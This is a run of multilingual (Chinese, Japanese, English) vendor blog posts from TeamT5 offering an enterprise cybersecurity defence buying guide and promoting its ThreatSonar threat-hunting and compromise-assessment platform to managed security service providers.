進一步來說，資安防禦如同企業與惡意攻擊者的長期比賽，唯有知己知彼，方能百戰百勝。我們以球賽為例，分析資安攻防賽如同球隊準備上場比賽、乃至收集對手情資，直到實際對陣等，每階段都需戰戰兢兢，才能達到完全比賽。詳細說明請見此文章〈[從球賽看資安防禦：企業為什麼需要威脅情資](https://teamt5.org/tw/posts/what-ball-games-teach-us-about-cyber-defense/?utm_source=blog&utm_medium=website)〉。

而在日常營運中，我們特別強調企業採用威脅狩獵（threat hunting）策略，有助企業採取主動積極的防禦措施，強化企業的資安韌性，確保業務營運不中斷。更多說明請見此文章〈[威脅狩獵對企業的好處：強化資安韌性的關鍵](https://teamt5.org/tw/posts/the-benefits-of-threat-hunting-the-key-to-greater-security-resilience-for-enterprise/?utm_source=blog&utm_medium=website)〉。


## 企業宜依據產業特性，規劃資安防禦策略
而依據產業特性，我們也建議企業為本身需求，量身規劃有效的資安策略，以達到最佳防禦效果。下列為常遭受惡意攻擊的產業，分別說明建議對策。

- 金融業：[連結](https://teamt5.org/tw/industry/finance/?utm_source=blog&utm_medium=website)
- 醫療院所：[連結](https://teamt5.org/tw/industry/medical/?utm_source=blog&utm_medium=website)
- 科技製造業：[連結](https://teamt5.org/tw/industry/high-tech/?utm_source=blog&utm_medium=website)
- 政府機關：[連結](https://teamt5.org/tw/industry/government/?utm_source=blog&utm_medium=website)



## 企業選購資安服務與產品的重點

協助企業達成其資安防禦策略目標的產品與服務非常多元，我們以自身專長的類別，為企業提供評估與選購指南。企業可以依據其目標，了解資安事件應變服務、威脅偵測應變代管服務（MDR）、端點檢測和回應解決方案（EDR）和威脅情資平台（TIP）的評估與採購重點。


####資安事件應變服務 評估與採購重點
IR 服務旨在協助企業，針對資訊安全事件、事故，進行即時回應和調查，以幫助企業降低損害。然而，在挑選和採購 IR 服務時，企業需要謹慎考慮5個關鍵因素。
[閱讀文章](https://teamt5.org/tw/posts/key-considerations-for-evaluating-incident-response-service-ir/?utm_source=blog&utm_medium=website)


####威脅偵測應變代管服務（MDR）評估與採購重點
Managed Detection and Response（MDR）服務供應商為企業提供外包的威脅偵測和應變服務，協助企業識別、分析和應對資安威脅。然而，挑選和採購合適的 MDR 服務供應商是一個重大的決策，影響企業數位資產與資訊系統能否獲得妥善防禦服務。
[閱讀文章](https://teamt5.org/tw/posts/key-considerations-for-evaluating-managed-detection-and-response-mdr-solution/?utm_source=blog&utm_medium=website)


####端點檢測和回應解決方案（EDR） 評估與採購重點


EDR（Endpoint Detection and Response）解決方案是一種強大的工具，可以幫助企業及早檢測和應對端點威脅。然而，在挑選和採購 EDR 解決方案時，企業需要注意6個關鍵重點，以確保所選擇的解決方案符合其資訊安全需求，更能協助資訊系統能長期穩定運作。
[閱讀文章](https://teamt5.org/tw/posts/key-considerations-for-evaluating-endpoint-detection-and-response-edr-solutions/?utm_source=blog&utm_medium=website)

####威脅情資平台（TIP）評估與採購重點
威脅情資平台提供了關鍵的威脅情資，幫助企業識別、分析和應對威脅。然而，在挑選和採購威脅情資平台時，企業需要謹慎考慮5個關鍵因素 。
[閱讀文章](https://teamt5.org/tw/posts/key-considerations-for-evaluating-threat-intelligence-platform-tip-solution/?utm_source=blog&utm_medium=website)

##結語
隨著數位時代的來臨，企業面臨著越來越複雜的資安威脅。企業宜依自身需求與策略目標，選擇合適的資安服務、產品，方能建立資安韌性，達成全面資安防禦。

 
 

>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>歡迎聯絡我們，了解備受客戶肯定的資安產品與服務 
>[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

企業資安防禦指南【2024 最新版】

当記事は、[TeamT5](https://teamt5.org/jp/about-us/?utm_source=blog&utm_medium=website)の20年以上にわたるサイバー防御専門家としての経験と、企業向けサイバーセキュリティの要点をまとめたものです。また、サイバーセキュリティソリューションやサービスを選択する際の注意すべきポイントを紹介します。企業の皆様のお役に立てるよう、サイバーセキュリティの強靭性を強化するサポートをいたします！

## 企業向けサイバー防衛の要点
基本的な要点として、アメリカ国立標準技術研究所が提唱している、体系的かつ構造化された基準を通じて、企業は自社のサイバー防御の不備を見直し、特定のプロジェクトに向けて強化することが容易となります。

詳しくはこちらの記事「[NIST サイバーセキュリティフレームワークに基づいて、企業のサイバーセキュリティ状況を確認するには?](https://teamt5.org/jp/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/?utm_source=blog&utm_medium=website)」をご覧ください。

日常業務において、企業が積極的な防御策を講じ、サイバーセキュリティの強靭性を強化して、滞りなく事業運営を維持するために、脅威ハンティング戦略を導入することを特に重視しています。
詳しくはこちらの記事 「[組織のサイバー攻撃対策も感染症対策と同様に多層防御が必要です](https://teamt5.org/jp/posts/threatsonar-as-rapid-test/?utm_source=blog&utm_medium=website)」をご覧ください。

## 企業がサイバーセキュリティソリューションとサービスを購入する際のポイント
企業のサイバー防御戦略の目標達成を支援する製品やサービスは多種多様です。当社では、専門カテゴリーに基づいた評価・購入ガイドを企業に提供しています。これにより、企業は目標に基づき、セキュリティ・インシデント・レスポンス（IR）、エンドポイント検出および対応・ソリューション（EDR）、脅威インテリジェンス・プラットフォーム（TIP）の評価と導入のポイントを理解することができます。

####エンドポイント検出および対応・ソリューション（EDR）の評価と購入における考慮すべき事項
EDR（Endpoint Detection and Response）解決方案是一種強大的工具，可以幫助企業及早檢測和應對端點威脅。然而，在挑選和採購 EDR 解決方案時，企業需要注意6個關鍵重點，以確保所選擇的解決方案符合其資訊安全需求，更能協助資訊系統能長期穩定運作。
エンドポイント検出および対応・ソリューション（EDR）は、エンドポイントの脅威を早期に検知し、対応するための強力なツールです。しかし、EDRを選択・購入する際、企業は、選択したソリューションがサイバーセキュリティのニーズを満たし、情報システムの長期的な安定稼働を支援できるよう、6つのポイントに注意を払う必要があります。

[詳しくはこちらの記事](https://teamt5.org/jp/posts/key-considerations-for-evaluating-endpoint-detection-and-response-edr-solutions/?utm_source=blog&utm_medium=website)をご覧ください。

####脅威インテリジェンス・プラットフォーム（TIP）の評価と購入における考慮すべき事項
脅威インテリジェンス・プラットフォーム（TIP）は、脅威を特定・分析・対応するための鍵となる脅威インテリジェンスを提供します。しかし、TIPを選択・購入する際、企業は5つの重要なポイントをもとに検討する必要があります。

[詳しくはこちらの記事](https://teamt5.org/en/posts/key-considerations-for-evaluating-threat-intelligence-platform-tip-solution/?utm_source=blog&utm_medium=website)をご覧ください。

##最後に
デジタル時代の到来に伴い、企業はますます複雑化するサイバー脅威に直面しています。企業がこれらに対抗する術として、サイバーセキュリティの強靭性を強化し、サイバー防御の目標を達成するためには、自社のニーズと戦略目標に基づき、適切なサイバーセキュリティソリューションとサービスを選択する必要があります。



>TeamT5は、世界トップクラスのサイバー脅威アナリストで構成されているセキュリティベンダーであり、地理的・文化的優位性を活かし、極東アジアのサイバー攻撃者に特化しています。また、国際的なサイバーセキュリティカンファレンスにも頻繁に招待され、研究や見識を共有しています。
当社の脅威インテリジェンス研究の専門知識とソリューションは、フロスト＆サリバンから台湾脅威インテリジェンス分野の年間最優秀企業賞（2023 Taiwanese Threat Intelligence Industry Company of the Year Award）を受賞しました。
>
>TeamT5のサイバーセキュリティ製品とサービスの詳細については、弊社までぜひお問い合わせください。
>[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)


企業向けサイバーセキュリティガイド【2024 最新バージョン】

With the advent of the digital age, enterprises are facing increasingly complex and hidden threats. For Managed Security Service Providers (MSSP) vendors, the solutions they provide to their clients need to be not only efficient, but also able to cope with the evolving threat environment. In this turbulent security field, [ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website) has become a stepping stone for new clients, bringing endless business opportunities to MSSPs.


## Introduction to Threat Forensic Analysis Platform ThreatSonar
By deploying the ThreatSonar threat identification and analysis platform, users can quickly screen possible security risks and threats in the field, and comprehensively inventory the security status of endpoints starting from the hosts that were severely compromised in the incident. Users can also analyze key network system records to investigate possible intrusion access points of hackers, obtain root causes of intrusions, grasp hacker movement paths, and take inventory of threat damage.

##Potential business opportunities
#### Client demand continues to grow
As the complexity of threats continues to increase, so do the security needs of enterprises. The advanced threat intelligence and rapid response capabilities provided by ThreatSonar make it a powerful tool for MSSP vendors to win clients.

#### More compliance requirements
Across industries, compliance requirements are becoming increasingly stringent. ThreatSonar helps MSSP manufacturers ensure that clients comply with relevant regulations, enhances clients' competitiveness in the market, and increases clients' reliance on MSSPs.

#### Provide opportunities for value-added services
ThreatSonar points out the cybersecurity threats faced by end clients, helping MSSPs to provide more value-added services to end clients, such as more suitable cybersecurity solutions, regular cybersecurity training, etc., expanding the scope of MSSP services and also bringing new business opportunities.


## Conclusion

ThreatSonar is not only a powerful threat identification and analysis platform, but also a powerful assistant for MSSPs to create business opportunities. As security threats continue to evolve, choosing ThreatSonar will unlock endless business opportunities for MSSPs.


 
 
>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.
>
>The threat hunting tool we developed, ThreatSonar, has been adopted by many managed security service providers (MSSPs).
>
>If you are an MSSP, please contact us immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end clients.
>[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)

New Business Opportunity for MSSP in Cybersecurity Industry

隨著數位時代的來臨，企業面臨著越來越複雜和隱匿的威脅。對於資安服務廠商(Managed Security Service Providers, MSSP) 廠商而言，提供給客戶的解決方案不僅需要高效，更需要能夠應對不斷進化的威脅環境。在這個動蕩的資安領域，[ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website) 成為了新客戶敲門的磚頭，為 MSSP 帶來無窮的商業機會。


## 威脅鑑識分析平台 ThreatSonar 簡介
藉由部署 ThreatSonar 威脅鑑識分析平台，用戶能夠快速篩檢場域中可能的資安風險與威脅，並從事件中嚴重受駭的主機出發，全面盤點端點安全狀態。用戶更可同時藉由分析關鍵網路系統紀錄，調查駭客可能的入侵存取點，獲取駭侵根因（root cause）、掌握駭客移動路徑、盤點威脅損害。

## 潛在的商業機會
#### 客戶需求持續增長
隨著威脅的複雜性不斷提高，企業對於安全性的需求也與日俱增。ThreatSonar 提供的先進威脅情報和快速的應對能力使其成為 MSSP 廠商贏得客戶的利器。

#### 更多的合規性要求
在各個產業中，合規性要求變得越來越嚴格。ThreatSonar 幫助 MSSP 廠商確保客戶符合相應的法規，提升客戶在市場上的競爭力，也提升客戶對 MSSP 的倚重。

#### 帶來加值服務的機會
ThreatSonar 指出終端客戶面臨的資安威脅，有助 MSSP 為終端客戶提供提供更多加值服務，如更適合的資安解決方案、定期的資訊安全培訓等，擴大MSSP 的服務範疇，也帶來新商業機會。

## 結論

ThreatSonar 不僅是強大的威脅鑑識分析平台，更是 MSSP 創造商機的得力助手。隨著資安威脅不斷演變，選擇 ThreatSonar 將為 MSSP 帶來無窮的商業機會。

 

>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
我們研發的威脅狩獵工具 ThreatSonar 已獲許多資安代管服務廠商（MSSP）採用。
>
>如果您是資安代管服務廠商，請即刻[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，共同討論如何創造商機。

 
 
*首圖來源: pexel

新客戶的敲門磚: 為資安服務廠商(MSSP)帶來商業機會的威脅鑑識分析平台 ThreatSonar

デジタル時代の到来に伴い、企業はますます複雑化する隠れた脅威に直面しています。マネージドセキュリティサービスプロバイダー（MSSP）ベンダーにとって、顧客に提供するソリューションは効率的であるだけでなく、進化する脅威環境に対応できる必要があります。この激動のセキュリティ分野において、ThreatSonarは新規顧客の足がかりとなり、MSSPに無限のビジネスチャンスをもたらします。

##脅威フォレンジック分析プラットフォーム ThreatSonar の概要
ThreatSonarの脅威識別・分析プラットフォームを導入することで、現場で想定されるセキュリティリスクや脅威を迅速にスクリーニングし、インシデントで深刻な侵害を受けたホストからエンドポイントのセキュリティ状況を包括的にインベントリ化することができます。また、主要なネットワークシステムの記録を分析し、ハッカーの侵入アクセスポイントの調査を行い、侵入の根本原因とハッカーの移動経路を特定するので、脅威の被害状況を把握することができます。

##潜在的なビジネスチャンス

####高まる顧客のニーズ

脅威の複雑さが増すにつれ、企業のセキュリティニーズも増加の一途をたどっています。ThreatSonarが提供する高度な脅威インテリジェンスと迅速な対応能力は、MSSPベンダーが顧客を獲得するための強力なツールとなります。


####コンプライアンス要件の強化

業界を問わず、コンプライアンス要件はますます厳しくなっています。ThreatSonarは、MSSPメーカーが顧客の関連規制の準拠を保証し、市場における顧客の競争力を高め、MSSPへの信頼を高めるのに役立ちます。


####付加価値サービスの機会の提供

ThreatSonar は、エンド顧客が直面しているサイバーセキュリティの脅威を指摘し、MSSP がより適切なサイバーセキュリティソリューション、定期的なサイバーセキュリティトレーニングなど、より付加価値の高いサービスを提供できるよう支援するので、MSSPサービスの範囲を拡大し、新たなビジネスチャンスをもたらします。


##結論
ThreatSonarは、強力な脅威識別・分析プラットフォームであるだけでなく、MSSPがビジネスチャンスを創出するための強力なアシスタントでもあります。セキュリティ脅威が進化し続ける中、ThreatSonarを選択することで、MSSPのビジネスチャンスは無限に広がります。


新規顧客への足掛かり: サイバーセキュリティ業界におけるMSSPの新たなビジネスチャンスとなる脅威フォレンジック分析プラットフォーム ThreatSonar

In the ever-changing cybersecurity environment, proactive detection of threats and deployment of appropriate cybersecurity solutions are the focus of defense.

For enterprises to effectively deal with complex cybersecurity situations, strong allies are crucial - [ThreatSonar](https://teamt5.org/en/products/threatsonar/?utm_source=blog&utm_medium=website), the threat identification and analysis platform launched by TeamT5, has been adopted by many managed security service providers (MSSPs) in Japan, Singapore, Vietnam, and Taiwan. Conduct compromise assessment for end clients to achieve the same benefits as regular health checks; when a cybersecurity incident occurs, use ThreatSonar to perform incident response to avoid the spread of damage.

This article will introduce the powerful functions and application scenarios of ThreatSonar, and how it can bring new business opportunities to managed security service providers (MSSPs). We look forward to vendors contacting us and creating business opportunities together.

## The power of ThreatSonar

ThreatSonar is more than just a tool, it is a powerful shield that proactively defends against online threats.

By deploying the threat identification and analysis platform ThreatSonar, users can quickly screen possible cybersecurity risks and threats in the field, and comprehensively inventory the cybersecurity status of endpoints starting from the hosts that were severely compromised in the incident. Users can also analyze key network system records to investigate possible intrusion access points of hackers, obtain root causes of intrusions, grasp hacker movement paths, and take inventory of threat damage.


Powerful features include:
- **Intelligence-driven smart threat forensics**

Built-in thousands of APT backdoor signatures provide the latest intelligence to every endpoint for threat forensics. Also it allows the import of external intelligence such as hash, IP, domain, Yara Rule and IoC to precisely defend potential targeted threats."

- **Lightweight deployment and background execution without affecting daily operations**

ThreatSonar agent can be deployed on thousands of computers in an enterprise, and runs with less system resources. Personnel can carry out computer work as usual without the burden of running forensic.

- **Compromise assessment offers the whole picture of the incident, shortening the investigation time**

ThreatSonar not only analyzes the current state of the host, but also investigates past event trajectories through log analysis, presents the sequence of events on the Timeline, and tracks lateral movement and data outflow paths through cross-endpoint correlation.

- **Possess memory forensics and behavior analysis to effectively identify unknown malicious programs**

Identify malicious programs hidden in the memory, executed and to-be-executed programs, attacker's hack tools, and after-attacks log on the host, and automatically identify hundreds of dynamic behavior anomalies.

- **Active threat hunting with visualization of correlating potential compromised endpoints**

Statistical correlation analysis finds unknown attack techniques, establishes baselines to lock on abnormal behaviors, and tags potential unknown threats, such as abuse of rare programs or legal system tools in the organization; malware with digital signatures, etc.

## Application scenarios of ThreatSonar: compromise assessment, incident response

It can be used in two scenarios: compromise assessment and incident response. ThreatSonar is an intrusion assessment tool that quickly scans for potential threats.

In the past, MSSP relied on manual work, which was time-consuming and costly, and was not a business model that could expand the scale of operations. Now, MSSP imports ThreatSonar into the workflow, allowing professionals to scan potential threats easily and effortlessly, and quickly assess the health of the security environment for clients. The reports generated by ThreatSonar can further guide clients to purchase suitable cybersecurity solutions, and then achieve a complete procurement guidance process and create greater business opportunities.

As an incident response tool, ThreatSonar provides incident response teams with professional and reliable tools for threat hunting.

In the past, incident response personnel could only check three computers for cybersecurity threats every day, and it would take 1 to 4 weeks to write and produce a complete threat hunting result report. Now, MSSP introduces ThreatSonar into the operation process, and can check more than 1,000 computers (or terminal devices) within 1 hour, and can submit a detailed threat hunting result report within 1 day to 1 week. Covering the aforementioned ThreatSonar detection threats, MSSP can help clients eliminate threats.

With ThreatSonar, MSSPs will be able to provide clients with better and more comprehensive services and earn significant profits.


## How ThreatSonar creates new business opportunities for managed security service providers (MSSPs)

The ThreatSonar threat identification and analysis platform has a simple and hassle-free process from deployment, use, to output result reports. MSSPs can easily get started, reducing the burden on team personnel; MSSPs can also gain in-depth understanding of clients when conducting intrusion assessments, incident response, etc. of the cybersecurity environment and immediate needs, and then recommend extended cybersecurity solutions to bring business opportunities and profits.

## Benefits of ThreatSonar for Managed Security Service Providers (MSSPs)
- **Simplified deployment:** Tools are lightweight and compatible with existing endpoint solutions
- **Professional support**: Backed by TeamT5 experts with over 20 years of experience in cyber threat research
- **Increased profitability**: TeamT5 offers a flexible payment mechanism that charges per report rather than the number of endpoints scanned. If the MSSP initially determines from the report that the endpoint has a high-risk security threat and requires further interpretation, then the MSSP needs to pay to unlock the ThreatSonar report; if no endpoint with major security threats is found, the MSSP can save the cost of unlocking all endpoint scan reports.
- **Expand advanced service opportunities**: Intrusion assessment before an incident occurs and contingency response after an incident are common needs of enterprises, and it is also a critical moment when enterprises urgently need MSSP assistance. MSSP can use the professional ThreatSonar platform as an important tool to improve the quality of cybersecurity services for corporate clients.


## Conclusion
ThreatSonar is an essential tool for cybersecurity health checks. Managed Security Service providers (MSSPs) proactively conduct regular checks for end clients. It can grasp the health of cybersecurity and help achieve all-round defense.

 
 

>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.
>
>The threat hunting tool we developed, ThreatSonar, has been adopted by many managed security service providers (MSSPs).
>
>If you are an MSSP, please contact us immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end clients.
>[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)

The Threat Hunter’s Guide to the Cyber Hygiene: ThreatSonar

在持續變化的資訊安全環境中，超前偵測威脅、部署適合的資安解決方案是防禦重點。

企業若要有效應對複雜的資安局勢，強大的盟友十分關鍵 —— 杜浦數位安全 TeamT5 推出的威脅鑑識分析平台 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website) 已獲日本、新加坡、越南與台灣的許多資安託管服務廠商（MSSP）採用，為終端客戶進行入侵評估（compromise assessment），達成如同定期健康檢查的效益；更於資安事件發生當下，使用 ThreatSonar，進行事件應變（incident response），避免損害擴散。

本文將介紹 ThreatSonar 的強大功能、應用場景，以及如何藉此為資安託管服務廠商（MSSP）帶來新商機，期待有興趣的廠商與我們聯絡，共創未來。

## ThreatSonar 的強大功能

ThreatSonar 不只是一個工具，更是一個主動抵禦網路威脅的強大盾牌。

藉由部署 ThreatSonar 威脅鑑識分析平台，用戶能夠快速篩檢場域中可能的資安風險與威脅，並從事件中嚴重受駭的主機出發，全面盤點端點安全狀態。用戶更可同時藉由分析關鍵網路系統紀錄，調查駭客可能的入侵存取點，獲取駭侵根因（root cause）、掌握駭客移動路徑、盤點威脅損害。

強大功能包含：
- **情資導向的智慧威脅識別**

內建數千種 APT 後門特徵，將最新情資帶到每個端點鑑識。同時，可匯入 hash、IP、domain、Yara Rule 與 IoC 等外部情資，高精準度打擊針對性強的潛在威脅。

- **輕量佈署、背景執行，不影響日常作業**

ThreatSonar 執行程式可安裝到企業組織內上百千電腦中，背景運行，系統資源使用量少，人員可照常進行電腦工作，不受此程式運行的負擔。

- **資安健檢從事件全貌著手，縮短事件調查時程**

ThreatSonar 不只分析主機當下狀態，同時透過事件紀錄分析，調查過去的事件軌跡，以 Timeline 事件時間軸呈現先後，並藉由跨端點關聯，追蹤內網移動與資料外流路徑。
具備記憶體鑑識及行為分析能力，有效揪出未知惡意程式
辨識出隱匿於記憶體中的惡意程式、執行過以及將要執行的程式、攻擊者的駭客工具、攻擊後殘留於主機的紀錄，自動鑑定數百種動態行為異常。

- **主動威脅狩獵，可視化關聯潛在受害主機**

統計關聯分析找出未知攻擊手法，建立基準線鎖定異常行為，標示潛伏未知威脅，例如組織中稀有程式或目錄、合法系統工具遭到濫用，或是具數位簽章的惡意程式等。


## ThreatSonar 的應用場景：入侵評估（compromise assessment）、事件應變（incident response）

可應用於入侵評估（compromise assessment）與事件應變（incident response）兩種情境。

ThreatSonar 作為入侵評估工具，可快速掃描潛在威脅。

過去，MSSP 需仰賴人工作業，耗時耗成本，且不是一個可以擴張營運規模的商業模式。現在， MSSP 導入 ThreatSonar 至作業流程，可以由專業人員輕鬆省力地進行潛在威脅掃描，快速為客戶評估資安環境的健康程度，更可 ThreatSonar 產出的報告，進一步引導客戶採購適合的資安解決方案，進而達到完整採購引導過程，創造更大的商機。

ThreatSonar 作為事件應變工具，為事件應變團隊提供專業可靠的工具，進行威脅狩獵。

過去，事件應變人員每天僅能檢查 3 台電腦遭受資安威脅，更需耗費 1~4 週的時間，撰寫製作完整的威脅狩獵結果報告。而現在， MSSP 導入 ThreatSonar 至作業流程，1 小時內即可檢查 1,000 個以上的電腦（或終端裝置），1 天 ~ 1 週內即可提出詳盡的威脅狩獵結果報告，內容涵蓋前述 ThreatSonar 的偵測之威脅，能夠讓 MSSP 協助客戶排除威脅。

MSSP 借助 ThreatSonar，將可為客戶提供更優質、更完善的服務，並且獲得可觀的利潤。


## ThreatSonar 如何為資安託管服務廠商（MSSP）帶來新商機

ThreatSonar 威脅鑑識分析平台從部署、使用，至產出結果報告，流程簡易無負擔，MSSP 能夠輕易上手，降低團隊人員負擔；MSSP 為客戶進行入侵評估、事件應變等過程中，更可深度了解客戶的資安環境與切身需求，進而建議延伸的資安解決方案，帶來商機與利潤。


## 資安託管服務廠商（MSSP）採用 ThreatSonar 的效益 
- **簡化部署**：工具為輕量級，可與現有端點解決方案相容
- **專業支援**：由擁有 20 多年網路威脅研究經驗的 TeamT5 專家團隊支援
- **提高獲利能力**：TeamT5 提供靈活的付費機制，按報告收費，而不是按掃描的端點數量收費。MSSP 若從報告中初步判斷該端點有高風險資安威脅需進一步解讀，才需付費解鎖 ThreatSonar 報告；若未發現具重大資安威脅的端點，MSSP 則可省下解鎖所有端點掃描報告的成本。
- **拓展進階服務商機**：事件發生前的入侵評估與事件發生後的應變處置是企業的常見需求，也是企業亟需 MSSP 協助的關鍵時刻。MSSP 可藉由使用專業的 ThreatSonar 平台，作為提升給企業客戶資安服務品質的重要利器。


## 結論
ThreatSonar 是資安健康檢查的必備工具，由資安託管服務廠商（MSSP）主動為終端客戶進行定期檢查，能夠掌握資安健康度，協助達到全方位防禦。

 

>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>我們研發的威脅狩獵工具 ThreatSonar 已獲許多資安代管服務廠商（MSSP）採用。
>
>如果您是資安代管服務廠商，請即刻[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，共同討論如何創造商機。

 
 
*首圖來源: pexel

威脅狩獵工具 ThreatSonar 完整指南

絶えず変化するサイバーセキュリティ環境において、脅威を事前に検出し、適切なサイバーセキュリティソリューションを導入することは防御の焦点となります。

企業が複雑なサイバーセキュリティ環境に効果的に対処するには、強力な「仲間」が必要です‐TeamT5の脅威識別・分析プラットフォーム「ThreatSonar」は、日本、シンガポール、ベトナム、台湾の多くのマネージドセキュリティサービスプロバイダー（MSSP）に採用されています。エンドクライアントに侵害評価を実施し、サイバーセキュリティインシデントが発生した場合は、被害の拡大を回避するためにインシデント対応を実行します。

本記事では、ThreatSonarの強力な機能と活用シーン、そしてマネージドセキュリティサービスプロバイダー（MSSP）に新たなビジネスチャンスをもたらすThreatSonarについてご紹介します。

各ベンダーの皆様からのご連絡を心よりお待ちしております。


##ThreatSonar の強さ

ThreatSonar は単なるツールではなく、オンラインの脅威を積極的に防御する強力なシールドです。


脅威識別・分析プラットフォームThreatSonarを導入することで、ユーザーは現場で起こりうるサイバーセキュリティリスクと脅威を迅速にスクリーニングし、インシデントで深刻な侵害を受けたホストからエンドポイントのサイバーセキュリティ状況を包括的にインベントリ化することができます。また、主要なネットワークシステムの記録を分析し、ハッカーが侵入した可能性のあるアクセスポイントを調査しするので、侵入の根本原因とハッカーの移動経路、そして脅威の被害状況を把握することができます。

強力な機能：

- **インテリジェンス主導のスマートな脅威フォレンジック**

何千ものAPTバックドアインジケータを内蔵しており、脅威フォレンジックのために最新のインテリジェンスを各エンドポイントに提供します。また、ハッシュ、IP、ドメイン、Yaraルール、IoCなどの外部インテリジェンスをインポートし、潜在的な脅威から正確に防御します。

 

- **日常業務に影響を与えない軽量な展開とバックグラウンド実行**

ThreatSonarエージェントは、企業内の数千台のコンピュータに展開でき、少ないシステムリソースで実行できるので、担当者はフォレンジックの実行に負担をかけることなく、通常通りのコンピュータ作業を行うことが可能です。

 

- **侵害評価によるインシデントの全体像の把握、調査時間の短縮 **

ThreatSonarは、ホストの現在の状態を分析するだけでなく、ログ分析を通じて過去のイベントの軌跡を調査およびタイムライン上に一連のイベントを表示し、クロスエンドポイント相関を通じてラテラルムーブメントとデータ流出経路を追跡します。

 

- **未知の悪意のあるプログラムを効果的に特定するためのメモリフォレンジックと行動分析を完備**

メモリに隠れた悪意のあるプログラム、実行されたプログラム、実行予定のプログラム、攻撃者のハックツール、ホスト上の攻撃後のログを特定し、何百もの活動的な動作異常を自動的に識別します。

 

- **侵害された可能性のあるエンドポイントの相関を可視化するアクティブな脅威ハンティング**

統計的相関分析により、未知の攻撃手法を発見および異常な動作を追跡するためのベースラインを確立し、組織内のまれなプログラムや合法的なシステムツールの悪用、またはデジタル著名付きのマルウェアなど、潜在的な未知の脅威をマークします。 

 

##ThreatSonar の活用シーン: 侵害評価（compromise assessment）、インシデント対応（incident response）

ThreatSonarは、潜在的な脅威を迅速にスキャンする侵害評価ツールとして、侵害評価とインシデント対応の2つのシーンで使用できます。

従来のMSSPは手作業が主だったので、時間とコストがかかり、事業規模を拡大できるビジネスモデルではありませんでした。しかし現在、ThreatSonarをワークフローに導入し、専門家が簡単かつ容易に潜在的な脅威をスキャンし、顧客のセキュリティ環境の健全性を迅速に評価できるようになりました。また、ThreatSonarによって作成されたレポートを利用することで、顧客に適切なサイバーセキュリティソリューションの導入を指導できるので、完全な調達指導プロセスを実現し、より大きなビジネスチャンスを生み出すことができます。

ThreatSonarは、インシデント対応ツールとして、専門的で信頼性の高い脅威ハンティングを実施します。

従来では、インシデン対応担当者がサイバーセキュリティの脅威をチェックできるのは、毎日3台のコンピュータのみであり、完全な脅威ハンティング結果レポートを作成するのに1～4週間かかっていました。現在、MSSPはThreatSonarを運用プロセスに導入することで、1時間以内に1,000台以上のコンピュータ（または端末）をチェックすることができ、1日から1週間以内に詳細な脅威ハンティング結果レポートを提出することが可能なので、顧客の脅威排除を支援できます。

つまり、ThreatSonarを活用することで、MSSPは顧客により良い包括的なサービスを提供し、大きな利益を得ることができます。


##ThreatSonarがMSSPに新たなビジネスチャンスをもたらす方法

脅威識別・分析プラットフォームThreatSonarは、導入から利用、結果レポートの出力まで、シンプルで手間のかからないプロセスを備えています。MSSPは簡単に作業を開始できるため、チームの全体的な負担を軽減できます。また、MSSPは、侵入評価やインシデント対応などを実施する際、顧客のサイバーセキュリティ環境や当面のニーズを深く理解できるので、ビジネスチャンスと利益をもたらす拡張サイバーセキュリティソリューションを提案することができます。

##マネージドセキュリティサービスプロバイダー（MSSP）におけるThreatSonarのメリット
- **導入の簡素化**： ツールは軽量で、既存のエンドポイントソリューションと互換性があります。

- **専門的なサポート**： サイバー脅威研究で20年以上の経験を持つTeamT5の専門家が手厚くサポートします。

- **収益性の向上**： TeamT5は、スキャンしたエンドポイントの数ではなく、レポートごとに料金を請求する柔軟な支払いメカニズムを提供しています。MSSP が最初にレポートから、エンドポイントに高リスクのセキュリティ脅威があり、さらなる解釈が必要であると判断した場合、ThreatSonar レポートのロックを解除するため、お支払いをする必要があります。一方で、重大なセキュリティ脅威があるエンドポイントが見つからなかった場合は、すべてのエンドポイントスキャンレポートのロックを解除するコストを節約できます。

- **高度なサービス機会の拡大**：インシデント発生前の侵入評価とインシデント発生後の緊急対応は、企業の一般的なニーズであり、企業が早急にMSSPの支援を必要とする重要な瞬間でもあります。MSSPは、プロフェッショナルなThreatSonarプラットフォームを主要なツールとして利用することで、企業顧客向けのサイバーセキュリティサービスの質を向上させることができます。

##結論
ThreatSonarは、サイバーセキュリティのヘルスチェックに不可欠なツールです。マネージドセキュリティサービスプロバイダー（MSSP）が、エンド顧客向けに定期的なチェックを積極的に実施するに当たり、ThreatSonarは、サイバーセキュリティの健全性を把握し、万全の防御を実現するのに役立ちます。

脅威ハンティングツール ThreatSonar 完全ガイド

